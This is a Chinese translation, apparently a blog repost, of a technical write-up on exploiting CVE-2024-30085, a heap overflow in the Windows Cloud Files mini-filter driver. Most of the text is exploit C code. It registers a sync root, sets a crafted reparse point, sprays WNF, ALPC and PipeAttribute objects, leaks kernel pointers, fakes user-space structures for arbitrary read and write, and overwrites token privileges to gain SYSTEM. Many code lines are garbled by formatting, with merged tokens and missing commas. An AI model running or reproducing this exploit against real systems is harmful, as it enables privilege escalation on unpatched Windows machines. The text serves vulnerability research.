我只想要一个 CVE-2024-30085 Exploit 作为圣诞礼物

admin 2025年1月12日21:15:30评论13 views字数 23555阅读78分31秒阅读模式

【翻译】All I Want for Christmas is a CVE-2024-30085 Exploit

概述

CVE-2024-30085 是一个影响 Windows 云文件迷你过滤驱动程序cldflt.sys的基于堆的缓冲区溢出漏洞。通过构造自定义重解析点,可以触发缓冲区溢出来破坏相邻的_WNF_STATE_DATA对象。被破坏的_WNF_STATE_DATA对象可用于从 ALPC 句柄表对象中泄露内核指针。然后使用第二次缓冲区溢出来破坏另一个_WNF_STATE_DATA对象,该对象随后用于破坏相邻的PipeAttribute对象。通过在用户空间伪造PipeAttribute对象,我们能够泄露令牌地址并覆盖权限以提升到 NT AUTHORITYSYSTEM 权限。

目录

  1. cldflt.sys 简介
  2. 漏洞分析与补丁
  3. 重解析点结构
  4. 触发漏洞
  5. 利用概述
  6. 获取内核指针泄露
  7. 任意读取
  8. 权限提升
  9. 漏洞利用演示

cldflt.sys 简介

cldflt.sys是 Windows 云文件迷你过滤驱动程序,它允许用户在远程服务器和本地客户端之间管理和同步文件。cldflt.sys通过创建占位符文件和目录工作,这些占位符以重解析点的形式实现。占位符允许文件的实际内容存储在其他位置,并按需检索(称为"hydration"),同时在系统上表现得像普通文件一样。用户可以通过云文件 API 创建和管理占位符。

漏洞分析与补丁

CVE-2024-30085是由 SSD Secure Disclosure 的 Alex Birnberg 以及 Theori 的 Gwangun Jung 和 Junoh Lee 发现的基于堆的缓冲区溢出漏洞。对于 Windows 10 22H2,此漏洞在KB5039211更新中得到修复。

我只想要一个 CVE-2024-30085 Exploit 作为圣诞礼物
补丁对比

查看补丁对比,很明显HsmIBitmapNORMALOpen函数已被修改。

我只想要一个 CVE-2024-30085 Exploit 作为圣诞礼物
HsmIBitmapNORMALOpen 补丁对比

左侧显示的是存在漏洞的驱动程序二进制文件,右侧是修补后的驱动程序二进制文件。从这里我们可以看到,添加了一个额外的代码块cmp r14d, 0x1000。让我们看看未修补函数的部分反编译代码:

if (local_70 == 0x0) || (0xffe < memcpy_size - 1) {    Dst = ExAllocatePoolWithTag(10x10000x6d427348); if (Dst == 0x0) {        HsmDbgBreakOnStatus(-0x3fffff66);         ... // Go to error path    }    memcpy(Dst, local_70, memcpy_size); else {    iVar13 = *(int *)((memcpy_size - 4) + (longlong)local_70);if (iVar13 == -1) && (memcpy_size == 4) {        *(uint *)(Dst + 2) = *(uint *)(Dst + 2) | 0x10    } else {        Dst = ExAllocatePoolWithTag(10x10000x6d427348); // Allocate a HsBm objectif (Dst == 0x0) {            HsmDbgBreakOnStatus(-0x3fffff66);             ... // Go to error path        }    }    memcpy(Dst, local_70, memcpy_size); // Vulnerable memcpy, we control local_70and memcpy_size!    ...}

驱动程序在分页池中分配大小为 0x1000 的 HsBm 对象,并将大小为 memcpy_size 的数据复制到已分配的缓冲区中。由于用户能够控制被复制的数据以及 memcpy_size 的值,如果 memcpy_size 大于 0x1000,就会在分页池中发生基于堆的缓冲区溢出!

if (((int)uVar7 != 0) && (0x1000 < memcpy_size)) {    HsmDbgBreakOnStatus(-0x3fff30fe);     ... // Go to error path}

为了修补这个漏洞,添加了一个检查来确定 memcpy_size 是否小于或等于 0x1000,只有在通过此检查后才会调用 memcpy。

重解析点结构

然而,为了理解如何触发这个漏洞,我们必须首先了解 cldflt 驱动程序用于存储数据的重解析点的结构。

重解析点由重解析标签和用户定义数据组成,其中重解析标签用于标识拥有该重解析点的文件系统驱动程序。在本例中,当我们创建用于利用的文件时,我们将使用 IO_REPARSE_TAG_CLOUD_6 (0x9000601a) 作为重解析标签。

用户定义数据具有以下结构:

typedefstruct_REPARSE_DATA_BUFFER {    ULONG  ReparseTag;    USHORT ReparseDataLength;    USHORT Reserved;struct {        UCHAR DataBuffer[1];    } GenericReparseBuffer;} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;

DataBuffer 具有可变大小,包含由云过滤驱动程序设置的自定义数据,其格式如下:

struct _HSM_REPARSE_DATA {    USHORT Flags;                           USHORT Length;                          HSM_DATA FileData;                  } HSM_REPARSE_DATA, *PHSM_REPARSE_DATA;

当 cldflt.sys 创建重解析点时,如果数据大小超过 0x100 字节,它会使用 RtlCompressBuffer 和 COMPRESSION_FORMAT_LZNT1 压缩格式来压缩数据。如果没有使用压缩,Flags 设置为 0x1;如果使用了压缩,则设置为 0x8001。Length 表示整个 _HSM_REPARSE_DATA 结构的大小。FileData 的结构如下:

typedefstruct_HSM_DATA{    ULONG  Magic;                           ULONG  Crc32;                          ULONG  Length;                          USHORT Flags;                           USHORT NumberOfElements;                HSM_ELEMENT_INFO ElementInfos[1];   } HSM_DATA, *PHSM_DATA;

对于位图数据,Magic 被设置为 0x70527442("BtRp"),对于文件数据则设置为 0x70526546("FeRp")。如果存在 CRC32 校验值,它将被包含在结构中。CRC32 是使用 RtlComputeCrc32 计算得出的。Length 表示整个 _HSM_DATA 对象的大小。如果存在 CRC32 校验和值,Flags 将被设置为 0x2。一个 _HSM_DATA 结构可以包含多个元素,这些元素采用以下形式:

typedefstruct_HSM_ELEMENT_INFO{    USHORT Type;                            USHORT Length;                          ULONG  Offset;                      } HSM_ELEMENT_INFO, *PHSM_ELEMENT_INFO;

元素可以具有以下类型:

#define HSM_ELEMENT_TYPE_NONE           0x00#define HSM_ELEMENT_TYPE_UINT64         0x06#define HSM_ELEMENT_TYPE_BYTE           0x07#define HSM_ELEMENT_TYPE_UINT32         0x0a#define HSM_ELEMENT_TYPE_BITMAP         0x11#define HSM_ELEMENT_TYPE_MAX            0x12

Length 表示元素数据的大小,而 offset 是相对于 _HSM_DATA 结构体起始位置的偏移量。

触发漏洞

让我们来看看触发此漏洞所需的代码路径:

-> HsmFltPostCREATE    -> HsmiFltPostECPCREATE        -> HsmpSetupContexts            -> HsmpCtxCreateStreamContext                -> HsmIBitmapNORMALOpen

通过打开包含 cldflt 重解析数据的文件,我们可以到达 HsmpCtxCreateStreamContext。但是,为了到达 HsmIBitmapNORMALOpen 触发易受攻击的 memcpy,我们需要通过与 FeRp 对象及其嵌套的 BtRp 对象相关的某些检查。

当到达 HsmpCtxCreateStreamContext 时,它会调用 HsmpRpValidateBuffer,该函数将对重解析数据执行检查。它首先检查 _HSM_DATA 对象的长度和魔数,然后计算其 CRC32。接着检查元素数量以确保其小于 0xa,这是 FeRp 对象的最大元素数量。一旦初始检查通过,函数会遍历所有元素以确保元素偏移量和长度之和不超过数据对象的长度。

完成后,会对每个元素执行检查,通常包括以下内容:

  1. 检查元素类型是否在允许的类型范围内(即小于 HSM_ELEMENT_TYPE_MAX,即 0x12)
  2. 检查元素偏移量
  3. 检查元素大小

在这种情况下,FeRp 对象的元素必须满足以下条件:

  • 元素 0 必须是 BYTE 类型 (0x07)
  • 元素 1 必须是 UINT32 类型 (0x0a)
  • 元素 2 必须是 UINT64 类型 (0x06)
  • 元素 4 必须是 BITMAP 类型 (0x11)

然后调用 HsmpBitmapIsReparseBufferSupported 对嵌套的 BtRp 对象执行检查。执行类似于 FeRp 对象的初始检查,但不计算 CRC32。BtRp 对象允许的最大元素数量是 0x5。这些元素必须满足以下条件:

  • 元素 0 必须是 BYTE 类型 (0x07)
  • 元素 1 必须是 BYTE 类型 (0x07)
  • 元素 2 必须是 BYTE 类型 (0x07)

一旦 HsmpBitmapIsReparseBufferSupported 完成,它返回到 HsmpRpValidateBuffer,后者返回到 HsmpCtxCreateStreamContext,最后调用 HsmIBitmapNORMALOpenHsmIBitmapNORMALOpen 也对 BtRp 对象的元素实施检查:

  • 元素 1 必须是 BYTE 类型 (0x07),且值必须为 0x1
  • 元素 2 必须是 BYTE 类型 (0x07)
  • 元素 3 必须是 UINT64 类型 (0x06)
  • 元素 4 必须是 BITMAP 类型 (0x11)

一旦满足所有这些条件,我们就能最终到达易受攻击的 memcpy!

为了触发漏洞,我们首先需要使用云过滤器 API 注册一个同步根:

CF_SYNC_REGISTRATION CfSyncRegistration = { 0 };    CfSyncRegistration.StructSize = sizeof(CF_SYNC_REGISTRATION);    CfSyncRegistration.ProviderName = L"FFE4";    CfSyncRegistration.ProviderVersion = L"1.0";    CfSyncRegistration.ProviderId = { 0xf4d808a40xa4930x4703, { 0xa80xb80xe20x6a0x70x7a0xd70x3b } };CF_SYNC_POLICIES CfSyncPolicies = { 0 };    CfSyncPolicies.StructSize = sizeof(CF_SYNC_POLICIES);    CfSyncPolicies.HardLink = CF_HARDLINK_POLICY_ALLOWED;    CfSyncPolicies.Hydration.Primary = CF_HYDRATION_POLICY_FULL;    CfSyncPolicies.InSync = CF_INSYNC_POLICY_NONE;    CfSyncPolicies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;    CfSyncPolicies.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_UPDATE_UNRESTRICTED;    hRet = CfRegisterSyncRoot(SyncRoot, &CfSyncRegistration, &CfSyncPolicies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);if (!SUCCEEDED(hRet)) {        CfUnregisterSyncRoot(SyncRoot);        cout << "CfRegisterSyncRoot failed! error=" << GetLastError() << endl;return-1;    }    printf("[+] CfRegisterSyncRoot success: 0x%lxn", hRet);

然后我们将在同步根目录中创建文件:

HANDLE hFile1;CStringFullFileName1=L"c:\windows\temp\test";    hFile1 =CreateFile(FullFileName1GENERIC_ALLFILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETENULLCREATE_NEWFILE_ATTRIBUTE_NORMALNULL);if (hFile1 ==INVALID_HANDLE_VALUE) {        cout <<"Open file failed! error="<<GetLastError() << endl;return-1;    }    printf("[+] Created exploit file 1: %dn", hFile1);

最后,我们将使用 FSCTL_SET_REPARSE_POINT_EX 来设置重解析点数据。

    hBool = DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT_EX, &RpBufEx, (0x28+CompressedRpBufSize), NULL0NULLNULL);if (hBool == 0) {        cout << "FSCTL_SET_REPARSE_POINT_EX failed! error=" << GetLastError() << endl;return-1;    }printf("[+] FSCTL_SET_REPARSE_POINT_EX succeededn");

要触发漏洞代码路径,我们只需要重新打开该文件:

printf("[+] Opening file 1 to trigger vulnerabilityn");    hFile1 = 0;    hFile1 = CreateFile(FullFileName1, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile1 == INVALID_HANDLE_VALUE) {        cout << "Open file failed! error=" << GetLastError() << endl;return-1;    }printf("[+] File 1 handle: %dn", hFile1); 

一旦溢出发生,机器就会崩溃!

我只想要一个 CVE-2024-30085 Exploit 作为圣诞礼物

漏洞利用概述

目前,我们在分页池中有一个大小为 0x1000 的对象溢出。为了提升权限,我们需要一个内核指针泄露,以及任意写入的能力。只要我们能控制内存布局使机器不崩溃,就可以多次触发这个漏洞。因此,我们将触发这个漏洞两次 - 第一次获取内核泄露并获得任意写入原语,第二次获得任意读取以获取令牌地址。

以下是漏洞利用计划:

  1. 创建漏洞利用文件 1 并设置大小为 0x1010 的自定义重解析点数据
  2. 喷射填充_WNF_STATE_DATA
  3. 喷射第一组_WNF_STATE_DATA 对象
  4. 通过释放每隔一个_WNF_STATE_DATA 对象来制造空洞
  5. 第一次触发漏洞以重新占用其中一个空洞 - 这会破坏_WNF_STATE_DATA 对象,使我们获得越界读写
  6. 喷射 ALPC 句柄表以重新占用剩余空洞
  7. 通过读取第一个被破坏的_WNF_STATE_DATA 对象来泄露内核指针
  8. 创建漏洞利用文件 2 并设置大小为 0x1010 的自定义重解析点数据
  9. 喷射第二个填充_WNF_STATE_DATA
  10. 通过释放每隔一个_WNF_STATE_DATA 对象来制造空洞
  11. 第二次触发漏洞以重新占用其中一个空洞
  12. 喷射 PipeAttribute 以重新占用剩余空洞
  13. 使用第二个被破坏的_WNF_STATE_DATA 对象破坏 PipeAttribute 对象,使其指向用户空间中的伪造对象 - 这给了我们任意读取
  14. 使用被破坏的 PipeAttribute 对象获取令牌地址
  15. 使用第一个被破坏的_WNF_STATE_DATA 对象破坏 ALPC 句柄表以获得任意写入
  16. 覆盖令牌权限获得完整权限!
  17. 获取 winlogon 进程的句柄
  18. 弹出 NT AUTHORITYSYSTEM shell!!!

获取内核指针泄露

我们将使用两个内核对象来获取内核指针泄露:_WNF_STATE_DATA 和_ALPC_HANDLE_TABLE

让我们先看看_WNF_STATE_DATA:

struct _WNF_STATE_DATA {    struct _WNF_NODE_HEADER Header;                                         //0x0    ULONG AllocatedSize;                                                    //0x4    ULONG DataSize;                                                         //0x8    ULONG ChangeStamp;                                                      //0xc}; 

Windows 通知设施 (WNF) 是一个未公开的内核组件,用于在系统中发送通知。用于发送通知的数据存储在_WNF_STATE_DATA对象中,该对象在分页池中分配,由大小为 0x10 的头部和紧随其后的数据组成。允许的最大 DataSize 为 0x1000,但这对我们来说不会造成问题,因为我们正在处理大小为 0x1000 的对象 (使用 0xff0 的 DataSize 意味着分配的 WNF 对象大小为 0x1000)。

为了准备_WNF_STATE_DATA喷射,我们可以执行以下操作:

    #define NUM_WNFSTATEDATA 0x450    #define WNF_MAXBUFSIZE 0x1000    PWNF_STATE_NAME_REGISTRATION PStateNameInfo = NULL;    WNF_STATE_NAME StateNames[NUM_WNFSTATEDATA] = { 0 };    PSECURITY_DESCRIPTOR pSD = nullptr;    NTSTATUS state = 0;    char StateData[0x1000];    printf("[+] Prepare _WNF_STATE_DATA sprayn");    memset(StateData, 0x41, sizeof(StateData));if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"", SDDL_REVISION_1, &pSD, nullptr)) {        cout << "ConvertStringSecurityDescriptorToSecurityDescriptor failed! error=" << GetLastError() << endl;return -1;    }for (int i = 0; i < NUM_WNFSTATEDATA; i++) {        state = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, WNF_MAXBUFSIZE, pSD);if (state != 0) {            cout << "NtCreateWnfStateName failed! error=" << GetLastError() << endl;return -1;        }    }

我们将执行第一次_WNF_STATE_DATA喷射:

printf("[+] Spraying _WNF_STATE_DATAn");for (int i = 0; i < NUM_WNFSTATEDATA; i++) {state = NtUpdateWnfStateData(&StateNames[i], StateData, (0x1000-0x10), 0000);if (state != 0) {            cout << "NtUpdateWnfStateData failed! error=" << GetLastError() << endl;return -1;        }    }

这将导致分页池中的内存布局如下所示:

我只想要一个 CVE-2024-30085 Exploit 作为圣诞礼物
Memory 1

之后,我们通过释放每个交替对象来制造空洞:

printf("[+] Poking holes by freeing every alternate WNF objectn");for (int i = 0; i < NUM_WNFSTATEDATA; i = i + 2) {        NtDeleteWnfStateData(&StateNames[i], NULL);state = NtDeleteWnfStateName(&StateNames[i]);if (state != 0) {return -1;        }    }
我只想要一个 CVE-2024-30085 Exploit 作为圣诞礼物
Memory 2

通过破坏结构体中的 DataSize 字段,可以使用 _WNF_STATE_DATA 对象实现越界读写。在我们的案例中,通过使用堆溢出将 DataSize 从 0xff0 更改为 0xff8,我们能够获得 8 字节的越界读写。

现在我们将打开漏洞利用文件 1 来触发漏洞,这将把我们的目标对象分配到其中一个空洞中,并溢出到相邻的 _WNF_STATE_DATA 对象中。

我只想要一个 CVE-2024-30085 Exploit 作为圣诞礼物
Memory 3

执行的代码路径导致我们的目标对象被释放,但这并不重要,因为 _WNF_STATE_DATA 对象的损坏已经发生。尽管如此,这就是释放后内存的样子:

我只想要一个 CVE-2024-30085 Exploit 作为圣诞礼物
Memory 4

现在让我们看看高级本地过程调用(ALPC)。ALPC 是 Windows 内核中一个未公开的内部进程间通信工具。徐世杰、宋建阳和李林双开发了一种技术,可以通过可变大小的 _ALPC_HANDLE_TABLE 对象实现任意读写。

struct _ALPC_HANDLE_TABLE {    struct _ALPC_HANDLE_ENTRY* Handles;                                     //0x0    struct _EX_PUSH_LOCK Lock;                                              //0x8    ULONGLONG TotalHandles;                                                 //0x10    ULONG Flags;                                                            //0x18}; 

当创建 ALPC 端口时,会在分页池中初始分配一个大小为 0x80 的 _ALPC_HANDLE_TABLE 对象。每次调用 NtAlpcCreateResourceReserve 时,都会创建一个 _KALPC_RESERVE 数据块,并调用 AlpcAddHandleTableEntry 将其地址添加到句柄表中。

struct _KALPC_RESERVE {    struct _ALPC_PORT* OwnerPort;                                           //0x0    struct _ALPC_HANDLE_TABLE* HandleTable;                                 //0x8    VOID* Handle;                                                           //0x10    struct _KALPC_MESSAGE* Message;                                         //0x18    ULONGLONG Size;                                                         //0x20    LONG Active;                                                            //0x28}; 

每当句柄表空间用尽时,对象就会重新分配并将其大小加倍。这意味着句柄表的大小是可变的,从 0x80、0x100、0x200、0x400、0x800、0x1000 等依次递增。因此,通过多次调用NtAlpcCreateResourceReserve,我们能够在分页池中分配一个大小为 0x1000 的_ALPC_HANDLE_TABLE对象。

为了准备 ALPC 句柄表喷射,我们可以使用以下函数:

BOOL CreateALPCPorts(HANDLE* phPorts, UINT portsCount) { ALPC_PORT_ATTRIBUTES serverPortAttr; OBJECT_ATTRIBUTES    oaPort; HANDLE               hPort; NTSTATUS             ntRet; UNICODE_STRING       usPortName; WCHAR     wszPortName[64];for (UINT i = 0; i < portsCount; i++) {  swprintf_s(wszPortName, sizeof(wszPortName) / sizeof(WCHAR), L"\RPC Control\%s%d", g_wszPortPrefix, i);  RtlInitUnicodeString(&usPortName, wszPortName);  InitializeObjectAttributes(&oaPort, &usPortName, 000);  RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));  serverPortAttr.MaxMessageLength = MAX_MSG_LEN;  ntRet = NtAlpcCreatePort(&phPorts[i], &oaPort, &serverPortAttr);if (!SUCCEEDED(ntRet))returnFALSE; }returnTRUE;}BOOL AllocateALPCReserveHandles(HANDLE* phPorts, UINT portsCount, UINT reservesCount) { HANDLE hPort; HANDLE hResource; NTSTATUS ntRet;for (UINT i = 0; i < portsCount; i++) {  hPort = phPorts[i];for (UINT j = 0; j < reservesCount; j++) {   ntRet = NtAlpcCreateResourceReserve(hPort, 00x28, &hResource);if (!SUCCEEDED(ntRet))returnFALSE;if (g_hResource == NULL) { // save only the very first    g_hResource = hResource;   }  } } return TRUE;}

在 main 函数中:

    #define NUM_ALPC0x800HANDLE ports[NUM_ALPC];CONSTUINT portsCount =NUM_ALPC;    printf("[+] Creating ALPC portsn");    bRet =CreateALPCPorts(ports, portsCount);if (!bRet) {        printf("[!] CreateALPCPorts failedn");return-1;    }

为了喷射 ALPC 句柄表对象:

printf("[+] Allocating ALPC reserve handlesn");    bRet = AllocateALPCReserveHandles(ports, portsCount, reservesCount - 1);if (!bRet) {printf("[!] CreateALPCPorts failedn");return -1;    }

在调试器中,_ALPC_HANDLE_TABLE对象的结构如下所示:

我只想要一个 CVE-2024-30085 Exploit 作为圣诞礼物
ALPC 句柄表

此时,分页池中的内存布局如下:

我只想要一个 CVE-2024-30085 Exploit 作为圣诞礼物
内存布局 5

为了定位被破坏的_WNF_STATE_DATA对象并获取内核指针泄露,我们可以执行以下操作:

    WNF_CHANGE_STAMP stamp;    char WNFOutput[0x2000];    unsigned long WNFOutputSize = 0x1000;int CorruptedWNFidx = -1state = 0;printf("[+] Finding corrupted WNF_STATE_DATA objectn");for (int i = 1; i < NUM_WNFSTATEDATA; i = i + 2) {        memset(WNFOutput, 0x0, sizeof(WNFOutput));        WNFOutputSize = 0x1000;state = NtQueryWnfStateData(&StateNames[i], NULL, NULL, &stamp, WNFOutput, &WNFOutputSize);printf("    idx: %d, stamp: 0x%lx, state: 0x%lxn", i, stamp, state);if (stamp == 0xcafe) { printf("[+] Found corrupted object idx: %d, stamp: 0x%lx, state: 0x%lxn", i, stamp, state);            CorruptedWNFidx = i;            ALPC_leak = *((unsigned long long *)(WNFOutput + 0xff0));printf("[+] KALPC_RESERVE leak: 0x%llxn", ALPC_leak);break;        }    }

任意读取

现在我们已经获得了内核指针泄露,我们希望获得任意读取能力以获取令牌地址。为此,我们可以第二次触发漏洞来覆盖第二个_WNF_STATE_DATA数据对象。和之前一样,我们将喷射_WNF_STATE_DATA,通过释放每个交替对象来制造空洞,然后触发漏洞导致溢出并破坏相邻的_WNF_STATE_DATA对象。但这次,我们将喷射PipeAttribute,并使用被破坏的_WNF_STATE_DATA来破坏相邻的PipeAttribute结构。

PipeAttribute任意读取技术是由 Corentin Bayet 和 Paul Fariello 在他们的论文Scoop the Windows 10 pool!中提出的。当创建管道时,用户可以添加属性,这些属性作为键值对存储在链表中。PipeAttribute是一个可变大小的结构,分配在分页池中,具有以下形式:

structPipeAttribute {     LIST_ENTRY list; char * AttributeName; uint64_t AttributeValueSize; char * AttributeValue; char data[0];}

为了准备喷射,我们首先需要创建管道:

printf("[+] Creating pipe objectsn");for (int i = 0; i < NUM_PIPEATTR; i++) {        ret = CreatePipe((PHANDLE)&ReadPipeArr[i], (PHANDLE)&WritePipeArr[i], NULL0x0);if (ret == 0) {            cout << "CreatePipe failed! error=" << GetLastError() << endl;return-1;        }    }

为了喷射PipeAttribute对象,我们可以执行以下操作:

memset(PipeData, 0x430x20); memset(PipeData+0x210x430x40);printf("[+] Spraying pipe_attributen"); for (int i = 0; i < NUM_PIPEATTR; i++) {        ret = NtFsControlFile(WritePipeArr[i], NULLNULLNULL, &status, 0x11003c, PipeData, (0x1000-0x30), PipeOutput, 0x100);if (ret != 0x0) {            cout << "NtFsControlFile pipe attribute failed! error=" << GetLastError() << endl;return-1;        }    }

要从PipeAttribute中读取数据,我们可以使用控制码 0x110038 调用NtFsControlFile。这将返回大小为AttributeValueSizeAttributeValue给用户。需要注意的是,如果用户再次使用控制码 0x11003c 调用NtFsControlFile来修改AttributeValue,旧的PipeAttribute结构将被释放,并由新的结构取代。

    ret = NtFsControlFile(WritePipeArr[i], NULLNULLNULL, &status, 0x110038, PipeName, len, PipeData, 0x1000);

在 Windows 上,由于向后兼容性的原因,未启用监督模式访问保护 (SMAP)。因此,内核可以访问用户空间的数据。为了实现任意读取,我们可以使用被破坏的 _WNF_STATE_DATA 对 PipeAttribute 的 LIST_ENTRY 中的 Flink 指针执行越界写入,使其指向用户空间中的伪造 PipeAttribute 结构。这样,我们就可以设置 AttributeValueSize 和 AttributeValue,从而实现从任意内核地址读取数据。

我们可以在用户空间中设置伪造的 PipeAttribute 对象,如下所示:

    // Set up fake userland pipe_attribute object     *(unsigned long long *)(FakePipe) = (unsigned long long)FakePipe2; // Flink    *(unsigned long long *)(FakePipe + 0x8) =  (unsigned long long)pipe_leak; // Blink    *(unsigned long long *)(FakePipe + 0x10) = (unsigned long long)FakePipeName; // Attribute name    *(unsigned long long *)(FakePipe + 0x18) = 0x30// Attribute value size -- LEAK SIZE    *(unsigned long long *)(FakePipe + 0x20) = (unsigned long long)ALPC_leak; // Attribute value -- LEAK POINTER    *(unsigned long long *)(FakePipe + 0x28) = 0x4545454545454545// Data

然后使用我们第二个被破坏的 _WNF_STATE_DATA 对象来覆写内核内存中相邻 PipeAttribute 对象的 Flink 指针:

//Using WNF object 1to overwrite flink of pipe_attribute    printf("[+] Using WNF object 1 to corrupt pipe_attributen");    memset(StateData, 0x0, sizeof(StateData));     memset(StateData, 0x470x200); // Just so that it is easier to see the object*(unsigned long long *)(StateData +0xff0= (unsigned long long)FakePipe;    state = NtUpdateWnfStateData(&SecondStateNames[CorruptedWNFidx2], StateData, 0xff8NULLNULL0xbeefNULL); 

现在内存布局如下所示:

我只想要一个 CVE-2024-30085 Exploit 作为圣诞礼物
Memory 6

我们现在可以执行任意读取操作。我们首先要读取的是之前泄露的 _KALPC_RESERVE 指针。通过读取 _KALPC_RESERVE,我们可以获得指向 _ALPC_PORT 结构的指针:

struct _ALPC_PORT{struct _LIST_ENTRY PortListEntry;                                       //0x0    struct _ALPC_COMMUNICATION_INFO* CommunicationInfo;                     //0x10    struct _EPROCESS* OwnerProcess;                                         //0x18    ...}

执行泄露操作:

printf("[+] Arbitrary read from corrupted pipe_attribute objectn"); int CorruptedPipeIdx = -1;for (int i = 0; i < NUM_PIPEATTR; i++) {memset(PipeData, 0x0sizeof(PipeData));         ret = NtFsControlFile(WritePipeArr[i], NULLNULLNULL, &status, 0x110038, FakePipeName, (strlen(FakePipeName)+1), PipeData, 0x1000);if (ret == 0) {printf("[+] Reached fake pipe_attribute in userlandn");            ALPC_port_leak = *((unsignedlonglong *)(PipeData));            ALPC_handle_table = ((unsignedlonglong *)(PipeData))[1];            ALPC_message_leak = ((unsignedlonglong *)(PipeData))[3];             CorruptedPipeIdx = i; printf("[+] ALPC port leak: 0x%llxn", ALPC_port_leak);printf("[+] ALPC handle table leak: 0x%llxn", ALPC_handle_table); printf("[+] ALPC message leak: 0x%llxn", ALPC_message_leak);break;        }    }

从 _ALPC_PORT 结构体中,我们可以获取到 EPROCESS 的地址。由于 ALPC 端口属于我们当前进程,这个 EPROCESS 就是我们当前进程的结构体。令牌指针位于 EPROCESS 偏移量 0x4b8 处,我们可以通过读取 EPROCESS 来获取它。

执行这些泄露操作:

    // Leak EPROCESSprintf("[+] Leaking data in ALPC_portn");     memset(PipeData, 0x0, sizeof(PipeData));     *(unsigned long long *)(FakePipe + 0x18) = 0x1d8// Attribute value size -- LEAK SIZE    *(unsigned long long *)(FakePipe + 0x20) = (unsigned long long)(ALPC_port_leak); // Attribute value -- LEAK POINTER    ret = NtFsControlFile(WritePipeArr[CorruptedPipeIdx], NULL, NULL, NULL, &status, 0x110038, FakePipeName, (strlen(FakePipeName)+1), PipeData, 0x1000);    EPROCESS_leak = ((unsigned long long *)(PipeData))[3];printf("[+] EPROCESS leak: 0x%llxn", EPROCESS_leak);     // Leak tokenint pid = GetCurrentProcessId(); printf("[+] Current PID: 0x%lxn", pid);     memset(PipeData, 0x0, sizeof(PipeData));     *(unsigned long long *)(FakePipe + 0x18) = 0xa40// Attribute value size -- LEAK SIZE    *(unsigned long long *)(FakePipe + 0x20) = (unsigned long long)(EPROCESS_leak); // Attribute value -- LEAK POINTER    ret = NtFsControlFile(WritePipeArr[CorruptedPipeIdx], NULL, NULL, NULL, &status, 0x110038, FakePipeName, (strlen(FakePipeName)+1), PipeData, 0x1000);    token_leak = ((unsigned long long *)(PipeData))[151] & 0xFFFFFFFFFFFFFFF0printf("[+] Leaked PID: 0x%lxn", ((unsigned long long *)(PipeData))[136]); printf("[+] Leaked token: 0x%llxn", token_leak);

权限提升

现在我们已经获得了令牌地址,终于可以提升权限以获取 NT AUTHORITYSYSTEM 权限了!

还记得我们用来从 ALPC 句柄表中泄露 _KALPC_RESERVE 指针的第一个 _WNF_STATE_DATA 对象吗?我们可以使用相同的 _WNF_STATE_DATA 对象来将该指针覆盖为指向用户空间中伪造的 _KALPC_RESERVE 结构的指针。在 _KALPC_RESERVE 结构中,有一个指向 _KALPC_MESSAGE 的指针:

struct _KALPC_MESSAGE {    struct _LIST_ENTRY Entry;                                               //0x0    struct _ALPC_PORT* PortQueue;                                           //0x10    struct _ALPC_PORT* OwnerPort;                                           //0x18    struct _ETHREAD* WaitingThread;                                         //0x20    union    {        struct        {            ULONG QueueType:3;                                              //0x28            ULONG QueuePortType:4;                                          //0x28            ULONG Canceled:1;                                               //0x28            ULONG Ready:1;                                                  //0x28            ULONG ReleaseMessage:1;                                         //0x28            ULONG SharedQuota:1;                                            //0x28            ULONG ReplyWaitReply:1;                                         //0x28            ULONG OwnerPortReference:1;                                     //0x28            ULONG ReceiverReference:1;                                      //0x28            ULONG ViewAttributeRetrieved:1;                                 //0x28            ULONG InDispatch:1;                                             //0x28            ULONG InCanceledQueue:1;                                        //0x28        } s1;                                                               //0x28        ULONG State;                                                        //0x28    } u1;                                                                   //0x28    LONG SequenceNo;                                                        //0x2c    union    {        struct _EPROCESS* QuotaProcess;                                     //0x30        VOID* QuotaBlock;                                                   //0x30    };    struct _ALPC_PORT* CancelSequencePort;                                  //0x38    struct _ALPC_PORT* CancelQueuePort;                                     //0x40    LONG CancelSequenceNo;                                                  //0x48    struct _LIST_ENTRY CancelListEntry;                                     //0x50    struct _KALPC_RESERVE* Reserve;                                         //0x60    struct _KALPC_MESSAGE_ATTRIBUTES MessageAttributes;                     //0x68    VOID* DataUserVa;                                                       //0xb0    struct _ALPC_COMMUNICATION_INFO* CommunicationInfo;                     //0xb8    struct _ALPC_PORT* ConnectionPort;                                      //0xc0    struct _ETHREAD* ServerThread;                                          //0xc8    VOID* WakeReference;                                                    //0xd0    VOID* WakeReference2;                                                   //0xd8    VOID* ExtensionBuffer;                                                  //0xe0    ULONGLONG ExtensionBufferSize;                                          //0xe8    struct _PORT_MESSAGE PortMessage;                                       //0xf0}; 

_KALPC_MESSAGE结构中,有两个对我们很有价值的字段:ExtensisonBufferExtensionBufferSize。当调用NtAlpcSendWaitReceivePort时,大小为ExtensionBufferSize的用户可控数据会被写入到ExtensionBuffer。为了实现任意写入,我们可以让伪造的_KALPC_RESERVE结构指向一个伪造的_KALPC_MESSAGE结构 (同样在用户空间),并将ExtensionBuffer设置为我们想要写入的目标位置!

我只想要一个 CVE-2024-30085 Exploit 作为圣诞礼物
Memory 7

在这种情况下,我们将ExtensionBuffer设置为令牌权限 (位于偏移量 0x40 处),并将ExtensionBufferSize设置为 0x10,这样我们就可以写入 16 个xff来启用所有权限:

